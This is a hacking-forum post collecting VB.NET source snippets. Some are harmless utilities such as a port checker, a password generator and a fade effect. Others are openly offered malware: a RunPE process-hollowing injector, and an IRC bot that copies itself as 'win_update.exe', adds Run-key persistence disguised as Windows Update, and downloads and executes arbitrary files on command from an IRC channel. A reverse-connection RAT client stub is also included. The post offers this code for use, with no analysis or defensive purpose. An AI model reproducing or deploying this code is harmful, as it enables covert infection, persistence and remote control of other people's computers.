Source Codes 07-04-2011, 11:45 AM
#1
RunPe
IRC serverNET
Change IP address
Registry Sample
SteamID Parser
Port Checker/Scanner
Reverse Connection RAT ( EXAMPLE CLIENT )
Simple downloader
Basic Anti-Leak Protection
Screen Spammer
Form Fade In/Out Effect
Starting A Process
Playing Music
Simple Word/Line Count
Getting Process List
Generate Password
Code:
Public Function VarPtr(ByVal e As Object) As Integer
Dim GC As GCHandle = GCHandle.Alloc(e, GCHandleType.Pinned)
Dim GC2 As Integer = GC.AddrOfPinnedObject.ToInt32
GC.Free()
Return GC2
End Function
Public Function strPtr(ByVal e As Object) As Integer
Dim GC As GCHandle = GCHandle.Alloc(e, GCHandleType.Pinned)
Dim GC2 As Integer = GC.AddrOfPinnedObject.ToInt32
GC.Free()
Return GC2
End Function
Private Const CONTEXT_FULL As Integer = &H10007
Private Const MAX_PATH As Short = 260
Private Const CREATE_SUSPENDED As Integer = &H4
Private Const MEM_COMMIT As Integer = &H1000
Private Const MEM_RESERVE As Integer = &H2000
Private Const PAGE_EXECUTE_READWRITE As Integer = &H40
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Integer, ByVal lpThreadAttributes As Integer, ByVal bInheritHandles As Integer, ByVal dwCreationFlags As Integer, ByVal lpEnvironment As Integer, ByVal lpCurrentDirectory As Integer, ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Integer
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Integer, ByRef lpBaseAddress As Object, ByRef lpBuffer As Object, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
Public Declare Sub MoveMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByVal Destination As Object, ByVal Source As Object, ByVal Length As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Integer, ByVal p1 As Integer, ByVal p2 As Integer, ByVal p3 As Integer, ByVal p4 As Integer) As Integer
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Integer, ByVal lpProcName As String) As Integer
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Integer
Private Structure SECURITY_ATTRIBUTES
Dim nLength As Integer
Dim lpSecurityDescriptor As Integer
Dim bInheritHandle As Integer
End Structure
Private Structure STARTUPINFO
Dim cb As Integer
Dim lpReserved As Integer
Dim lpDesktop As Integer
Dim lpTitle As Integer
Dim dwX As Integer
Dim dwY As Integer
Dim dwXSize As Integer
Dim dwYSize As Integer
Dim dwXCountChars As Integer
Dim dwYCountChars As Integer
Dim dwFillAttribute As Integer
Dim dwFlags As Integer
Dim wShowWindow As Short
Dim cbReserved2 As Short
Dim lpReserved2 As Integer
Dim hStdInput As Integer
Dim hStdOutput As Integer
Dim hStdError As Integer
End Structure
Private Structure PROCESS_INFORMATION
Dim hProcess As Integer
Dim hThread As Integer
Dim dwProcessID As Integer
Dim dwThreadID As Integer
End Structure
Private Structure FLOATING_SAVE_AREA
Dim ControlWord As Integer
Dim StatusWord As Integer
Dim TagWord As Integer
Dim ErrorOffset As Integer
Dim ErrorSelector As Integer
Dim DataOffset As Integer
Dim DataSelector As Integer
<VBFixedArray(80)> Dim RegisterArea() As Byte
Dim Cr0NpxState As Integer
Public Sub Initialize()
'UPGRADE_WARNING: Lower bound of array RegisterArea was changed from 1 to 0. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="0F1C9BE1-AF9D-476E-83B1-17D43BECFF20"'
ReDim RegisterArea(80)
End Sub
End Structure
Private Structure CONTEXT
Dim ContextFlags As Integer
Dim Dr0 As Integer
Dim Dr1 As Integer
Dim Dr2 As Integer
Dim Dr3 As Integer
Dim Dr6 As Integer
Dim Dr7 As Integer
Dim FloatSave As FLOATING_SAVE_AREA
Dim SegGs As Integer
Dim SegFs As Integer
Dim SegEs As Integer
Dim SegDs As Integer
Dim Edi As Integer
Dim Esi As Integer
Dim Ebx As Integer
Dim Edx As Integer
Dim Ecx As Integer
Dim Eax As Integer
Dim Ebp As Integer
Dim Eip As Integer
Dim SegCs As Integer
Dim EFlags As Integer
Dim Esp As Integer
Dim SegSs As Integer
Public Sub Initialize()
FloatSave.Initialize()
End Sub
End Structure
Private Structure IMAGE_DOS_HEADER
Dim e_magic As Short
Dim e_cblp As Short
Dim e_cp As Short
Dim e_crlc As Short
Dim e_cparhdr As Short
Dim e_minalloc As Short
Dim e_maxalloc As Short
Dim e_ss As Short
Dim e_sp As Short
Dim e_csum As Short
Dim e_ip As Short
Dim e_cs As Short
Dim e_lfarlc As Short
Dim e_ovno As Short
<VBFixedArray(3)> Dim e_res() As Short
Dim e_oemid As Short
Dim e_oeminfo As Short
<VBFixedArray(9)> Dim e_res2() As Short
Dim e_lfanew As Integer
Public Sub Initialize()
ReDim e_res(3)
ReDim e_res2(9)
End Sub
End Structure
Private Structure IMAGE_FILE_HEADER
Dim Machine As Short
Dim NumberOfSections As Short
Dim TimeDateStamp As Integer
Dim PointerToSymbolTable As Integer
Dim NumberOfSymbols As Integer
Dim SizeOfOptionalHeader As Short
Dim characteristics As Short
End Structure
Private Structure IMAGE_DATA_DIRECTORY
Dim VirtualAddress As Integer
Dim Size As Integer
End Structure
Private Structure IMAGE_OPTIONAL_HEADER
Dim Magic As Short
Dim MajorLinkerVersion As Byte
Dim MinorLinkerVersion As Byte
Dim SizeOfCode As Integer
Dim SizeOfInitializedData As Integer
Dim SizeOfUnitializedData As Integer
Dim AddressOfEntryPoint As Integer
Dim BaseOfCode As Integer
Dim BaseOfData As Integer
' NT additional fields.
Dim ImageBase As Integer
Dim SectionAlignment As Integer
Dim FileAlignment As Integer
Dim MajorOperatingSystemVersion As Short
Dim MinorOperatingSystemVersion As Short
Dim MajorImageVersion As Short
Dim MinorImageVersion As Short
Dim MajorSubsystemVersion As Short
Dim MinorSubsystemVersion As Short
Dim W32VersionValue As Integer
Dim SizeOfImage As Integer
Dim SizeOfHeaders As Integer
Dim CheckSum As Integer
Dim SubSystem As Short
Dim DllCharacteristics As Short
Dim SizeOfStackReserve As Integer
Dim SizeOfStackCommit As Integer
Dim SizeOfHeapReserve As Integer
Dim SizeOfHeapCommit As Integer
Dim LoaderFlags As Integer
Dim NumberOfRvaAndSizes As Integer
<VBFixedArray(15)> Dim DataDirectory() As IMAGE_DATA_DIRECTORY
Public Sub Initialize()
ReDim DataDirectory(15)
End Sub
End Structure
Private Structure IMAGE_NT_HEADERS
Dim Signature As Integer
Dim FileHeader As IMAGE_FILE_HEADER
Dim OptionalHeader As IMAGE_OPTIONAL_HEADER
Public Sub Initialize()
OptionalHeader.Initialize()
End Sub
End Structure
Private Structure IMAGE_SECTION_HEADER
<VBFixedString(8), System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=8)> Public SecName() As Char
Dim VirtualSize As Integer
Dim VirtualAddress As Integer
Dim SizeOfRawData As Integer
Dim PointerToRawData As Integer
Dim PointerToRelocations As Integer
Dim PointerToLinenumbers As Integer
Dim NumberOfRelocations As Short
Dim NumberOfLinenumbers As Short
Dim characteristics As Integer
End Structure
Sub InjectExe(ByVal sHost As String, ByRef bvBuff() As Byte)
Dim i As Integer
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT
Si.cb = Len(Si)
MoveMemory(Pidh, bvBuff(0), 64)
MoveMemory(Pinh, bvBuff(Pidh.e_lfanew), 248)
CreateProcessA(sHost, vbNullString, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi)
CallAPI("ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase)
CallAPI("kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
WriteProcessMemory(Pi.hProcess, Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0)
For i = 0 To Pinh.FileHeader.NumberOfSections - 1
MoveMemory(Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish))
WriteProcessMemory(Pi.hProcess, Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0)
Next i
Ctx.ContextFlags = CONTEXT_FULL
CallAPI("kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx))
WriteProcessMemory(Pi.hProcess, Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0)
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI("kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx))
CallAPI("kernel32", "ResumeThread", Pi.hThread)
End Sub
Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ByVal ParamArray Params() As Object) As Integer
Dim lPtr As Integer
Dim bvASM(&HEC00 - 1) As Byte
Dim i As Integer
Dim lMod As Integer
lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function
lPtr = VarPtr(bvASM(0))
MoveMemory(lPtr, &H59595958, &H4) : lPtr = lPtr + 4
MoveMemory(lPtr, &H5059, &H2) : lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
MoveMemory(lPtr, &H68, &H1) : lPtr = lPtr + 1
MoveMemory(lPtr, CInt(Params(i)), &H4) : lPtr = lPtr + 4
Next
MoveMemory(lPtr, &HE8, &H1) : lPtr = lPtr + 1
MoveMemory(lPtr, lMod - lPtr - 4, &H4) : lPtr = lPtr + 4
MoveMemory(lPtr, &HC3, &H1) : lPtr = lPtr + 1
CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function
Public Function ThisExe() As String
Dim lRet As Integer
Dim bvBuff(255) As Byte
lRet = CallAPI("kernel32", "GetModuleFileNameA", VarPtr(bvBuff(0)), 256)
ThisExe = Left(System.Text.Encoding.GetEncoding(1252).GetString(bvBuff), lRet)
End Function
End ModuleIRC serverNET
Code:
Imports System.IO
Imports System.Net.Sockets
Imports System.Threading
Imports System.Net
Imports Microsoft.Win32
Module Module1
Public ReadOnly R As New Random()
Public ReadOnly Rand1 As String = R.[Next](100000) & "update.exe"
Public ReadOnly Randnick As String = R.[Next](100000)
Public Const USER As String = "USER go go gadget go :gay"
Public NICK As String = "[" & Environment.MachineName.ToString & "]" & Randnick.ToString
Public PORT As Integer = "6667"
Public CHANNEL As String = "#owned"
Public SERVER As String = "owned.net"
Public ircLine As String
Public IRCstream As NetworkStream
Public irc As TcpClient
Public inputLine As String
Public IRCreader As StreamReader
Public IRCwriter As StreamWriter
Sub Main(ByVal args As String())
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()
Catch ex As Exception
End Try
Try
irc = New TcpClient(SERVER, PORT)
IRCstream = irc.GetStream()
IRCreader = New StreamReader(IRCstream)
IRCwriter = New StreamWriter(IRCstream)
IRCwriter.WriteLine(USER)
IRCwriter.Flush()
IRCwriter.WriteLine("NICK " & NICK)
IRCwriter.Flush()
While True
While (Inline(inputLine, IRCreader.ReadLine())) IsNot Nothing
If inputLine.Contains("PING :") Then
Dim pingstart As Integer
pingstart = inputLine.IndexOf("PING :")
Dim response As New String(inputLine.Substring(pingstart))
Dim code As New String(response.Replace("PING :", String.Empty))
IRCwriter.WriteLine("PONG :" + code)
IRCwriter.Flush()
End If
IRCwriter.WriteLine("JOIN " & CHANNEL)
IRCwriter.Flush()
If inputLine.EndsWith("!dl") Then
Try
Dim client = New WebClient()
Dim dl_start As Integer = inputLine.IndexOf("http://")
Dim dl_good As String = inputLine.Substring(dl_start)
client.DownloadFile(dl_good.Replace(" !dl", String.Empty), Path.GetTempPath() + Rand1)
Dim myPath As New ProcessStartInfo(Path.GetTempPath() + Rand1)
Process.Start(myPath)
IRCwriter.WriteLine(("PRIVMSG " & CHANNEL & " :" & " " & ChrW(3) & "9 downloaded and executed in : ") + Path.GetTempPath() + Rand1)
IRCwriter.Flush()
Catch d As Exception
IRCwriter.WriteLine("PRIVMSG " & CHANNEL & " :" & ChrW(3) & "7 error : " & d.ToString())
IRCwriter.Flush()
End Try
End If
If inputLine.EndsWith("!infos") Then
Try
IRCwriter.WriteLine(("PRIVMSG " & CHANNEL & " :" & " " & ChrW(3) & "9 My OS is : " & Environment.OSVersion.ToString & ", My Username is : " & Environment.UserName.ToString & " , and my uptime in seconds is : " & Environment.Version.ToString))
IRCwriter.Flush()
Catch d As Exception
IRCwriter.WriteLine("PRIVMSG " & CHANNEL & " :" & ChrW(3) & "7 error : " & d.ToString())
IRCwriter.Flush()
End Try
End If
End While
IRCwriter.Close()
IRCwriter.Close()
irc.Close()
End While
Catch e As Exception
IRCwriter.WriteLine("PRIVMSG " & CHANNEL & " :" & ChrW(3) & "7 error : " & e.ToString())
IRCwriter.Flush()
Thread.Sleep(2000)
Dim argv As String() = {}
Main(argv)
End Try
End Sub
Public Function Inline(Of T)(ByRef target As T, ByVal value As T) As T
target = value
Return value
End Function
End ModuleChange IP address
Code:
Imports System
Imports System.Net
Imports System.Net.NetworkInformation
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Shell("netsh interface ip set address name= " & Chr(34) & lstOutput.Text & Chr(34) & " dhcp")
Shell("netsh interface ip set dns name=" & Chr(34) & lstOutput.Text & Chr(34) & " dhcp")
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim i As Integer
Dim ni As System.Net.NetworkInformation.NetworkInterface() = System.Net.NetworkInformation.NetworkInterface.GetAllNetworkInterfaces()
For Each Items As System.Net.NetworkInformation.NetworkInterface In ni
Me.lstOutput.Items.Add(Items.Name)
If i = 0 Then
lstOutput.Text = Items.Name
End If
i = i + 1
Next
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Shell("netsh interface ip set address name= " & Chr(34) & lstOutput.Text & Chr(34) & " static " & txtip.Text & " " & txtsub.Text & " " & txtgate.Text)
Shell("netsh interface ip set dns name=" & Chr(34) & lstOutput.Text & Chr(34) & " static " & txtdns.Text)
End Sub
End ClassRegistry Sample
Code:
Dim key_windowed_mode As String
Dim key_res_1 As String
Dim key_res_2 As String
Dim key_3D_res_1 As String
Dim key_3D_res_2 As String
Dim key_texture_compress As String
Dim key_on_screen_map As String
Try
FF_key = Registry.LocalMachine.OpenSubKey("Software\PlayOnlineUS\SquareEnix\FinalFantasyXI", True)
key_windowed_mode = FF_key.GetValue("0034")
key_res_1 = FF_key.GetValue("0001")
key_res_2 = FF_key.GetValue("0002")
key_3D_res_1 = FF_key.GetValue("0003")
key_3D_res_2 = FF_key.GetValue("0004")
key_texture_compress = FF_key.GetValue("0018")
key_on_screen_map = FF_key.GetValue("0019")
'Keys being placed into textboxes
txt_res_pc_1.Text = key_res_1
txt_res_pc_2.Text = key_res_2
txt_3D_res_1.Text = key_3D_res_1
txt_3D_res_2.Text = key_3D_res_2
End TrySteamID Parser
Code:
Imports System.Text.RegularExpressions
Imports System.IO
Imports Microsoft.Win32
Public Class SteamID
Public Function GetSteamID() As String
Dim regKey As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Valve\Steam\", True)
Dim path As String = regKey.GetValue("InstallPath")
Dim location As String = path & "steam.log"
Dim content As String
Dim read As New StreamReader(location)
content = read.ReadToEnd()
read.Close()
read.Dispose()
Dim id = Regex.Match(content, "d:d:d{8}")
Return id.ToString()
End Function
End ClassPort Checker/Scanner
Code:
Dim hostname As String = txthost.Text
Dim portno As Integer = Val(txtport.Text)
Try
Dim ts As System.Net.Sockets.TcpClient = New System.Net.Sockets.TcpClient(hostname, portno)
MsgBox("The port is Open")
Catch ex As System.Net.Sockets.SocketException
If (ex.ErrorCode = 10061) Then
MsgBox("The port is Closed")
End If
End TryReverse Connection RAT ( EXAMPLE CLIENT )
Code:
Imports System
Imports System.Collections.Generic
Imports System.Linq
Imports System.Text
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Namespace booter_Client
Class Program
Shared Sub Main(args As String())
While True
Try
Dim client As New TcpClient()
client.Connect("127.0.0.1", 6755)
If client.Connected Then
Dim conn As New Connection(client)
Start(conn)
End If
Catch generatedExceptionName As Exception
End Try
End While
End Sub
Private Shared Sub Start(conn As Connection)
While conn.Connected
Dim hoi As String = conn.Recieve()
'Console.ReadLine();
Console.WriteLine(hoi)
End While
End Sub
End Class
Public Class Connection
Private asci As New ASCIIEncoding()
Public Sub New(client As TcpClient)
_client = client
_sock = client.Client
End Sub
Private _sock As Socket
Public ReadOnly Property Connected() As Boolean
Get
Return _client.Connected
End Get
End Property
Public ReadOnly Property Sock() As Socket
Get
Return _sock
End Get
End Property
Private _client As TcpClient
Public Property Client() As TcpClient
Get
Return _client
End Get
Set
_client = value
_sock = _client.Client
End Set
End Property
Public Sub Send(Text As String)
Try
If _client.Connected Then
If _sock.Connected Then
_sock.Send(asci.GetBytes(Text))
End If
End If
Catch generatedExceptionName As Exception
Clear()
End Try
End Sub
Public Function Recieve() As String
Dim ret As String = ""
Dim returnNow As Boolean = False
While Not returnNow
Try
Dim bytes As Byte() = New Byte(999) {}
If _client.Connected Then
If _sock.Connected Then
_sock.Receive(bytes)
End If
End If
ret = asci.GetString(bytes).Replace(vbNullChar, "")
If ret = "ping" Then
Send("pong")
Else
returnNow = True
End If
Catch generatedExceptionName As Exception
Clear()
End Try
End While
Return ret
End Function
Public Sub Clear()
_client = Nothing
_sock = Nothing
End Sub
End Class
End NamespaceSimple downloader
Code:
My.Computer.Network.DownloadFile(textbox1.text)Basic Anti-Leak Protection
Code:
Imports System.Management
Public Class Form1
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
ALP()
End Sub
Friend Function GetVolumeSerial(Optional ByVal strDriveLetter As String = "C") As String
Dim hds As ManagementObject = New ManagementObject(String.Format("win32_logicaldisk.deviceid=""{0}:""", strDriveLetter))
hds.Get()
Return hds("VolumeSerialNumber").ToString()
End Function
Private Sub ALP()
Select Case (GetVolumeSerial())
Case Is = "58057611"
MessageBox.Show("Anti-Leak Protection Passed" & vbCrLf & "Welcome Jarrad Freck - Creator", "Success")
Case Is = "F85A4208"
MessageBox.Show("Anti-Leak Protection Passed" & vbCrLf & "Welcome Jean Doe - Customer", "Success")
Case Is = "C457CD21"
MessageBox.Show("Anti-Leak Protection Passed" & vbCrLf & "Welcome John Smith - Beta Tester", "Success")
Case Else
MessageBox.Show("Anti-Leak Protection Failed", "Failed")
Application.Exit()
End Select
End Sub
End ClassScreen Spammer
Code:
Public Class Form1
Declare Function GetDC Lib "user32.dll" (ByVal hwnd As IntPtr) As IntPtr
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Randomize()
Timer1.Enabled = False
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Timer1.Interval = Int(TextBox2.Text)
Dim G As Graphics = Graphics.FromHdc(GetDC(IntPtr.Zero))
G.DrawString(TextBox1.Text, New Font("arial", 25), Brushes.Blue, CStr(Int(Rnd() * My.Computer.Screen.Bounds.Width)), CStr(Int(Rnd() * My.Computer.Screen.Bounds.Height)))
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
End ClassForm Fade In/Out Effect
Code:
Public Class Form1
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
While (Me.Opacity <> 0)
Me.Opacity = Me.Opacity - 0.1
Me.Refresh()
Thread.Sleep(100)
End While
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Opacity = 0
While (Me.Opacity <> 1)
Me.Opacity = Me.Opacity + 0.1
Me.Refresh()
Thread.Sleep(100)
End While
End Sub
End ClassStarting A Process
Code:
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim myProcess As System.Diagnostics.Process 'our process
myProcess = New System.Diagnostics.Process()
myProcess.StartInfo.FileName = "java.exe" 'Add the java directory here....
myProcess.StartInfo.Arguments = "MyApp.jar" 'Add MyApp directory here....
myProcess.StartInfo.WindowStyle = ProcessWindowStyle.Normal 'Normal
myProcess.Start() 'Start!
End Sub
End ClassPlaying Music
Code:
Public Class Form1
Friend WithEvents players As New System.Media.SoundPlayer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
players.Stream = My.Resources.tada
players.Play()
End Sub
End ClassSimple Word/Line Count
Code:
Imports System.IO
Public Class Form1
Private Sub linesBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles linesBtn.Click
Dim write As New StreamWriter("tempfile.txt")
write.WriteLine(TextBox1.Text)
write.Close()
Dim read As New StreamReader("tempfile.txt")
Dim count As Integer = 0
Do Until read.ReadLine = ""
count = count + 1
Loop
read.Close()
File.Delete("tempfile.txt")
MsgBox(count)
End Sub
Private Sub charBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles charBtn.Click
MsgBox(Str(Len(TextBox1.Text)))
End Sub
End ClassGetting Process List
Code:
Public Class Processes
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
GetEm()
End Sub
Private Sub GetEm()
ListProcesses.Items.Clear()
ListProcesses.DisplayMember = "ProcessName"
Dim p As System.Diagnostics.Process
For Each p In System.Diagnostics.Process.GetProcesses
ListProcesses.Items.Add(p)
Next
End Sub
End ClassGenerate Password
Code:
Private Const PASS_UPPERS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Private Const PASS_LOWERS As String = "abcdefghijklmnopqrstuvwxyz"
Private Const PASS_NUMBERS As String = "0123456789"
Private Const PASS_SPECIALS As String = "~`!@#$%^&*()_+=-{[}]|;:'<,>.?"
Public Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String
Dim strCharacters As String
Dim strNewPassword As String
Dim p As Integer
If Uppers = True Then
strCharacters = strCharacters & PASS_UPPERS
End If
If Lowers = True Then
strCharacters = strCharacters & PASS_LOWERS
End If
If Numbers = True Then
strCharacters = strCharacters & PASS_NUMBERS
End If
If Specials = True Then
strCharacters = strCharacters & PASS_SPECIALS
End If
Randomize()
For p = 0 To (passwordLength - 1)
strNewPassword = strNewPassword + Mid(strCharacters,Len(strCharacters) * Rnd() + 1, 1)
Next
GeneratePassword = strNewPassword
End Function

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)


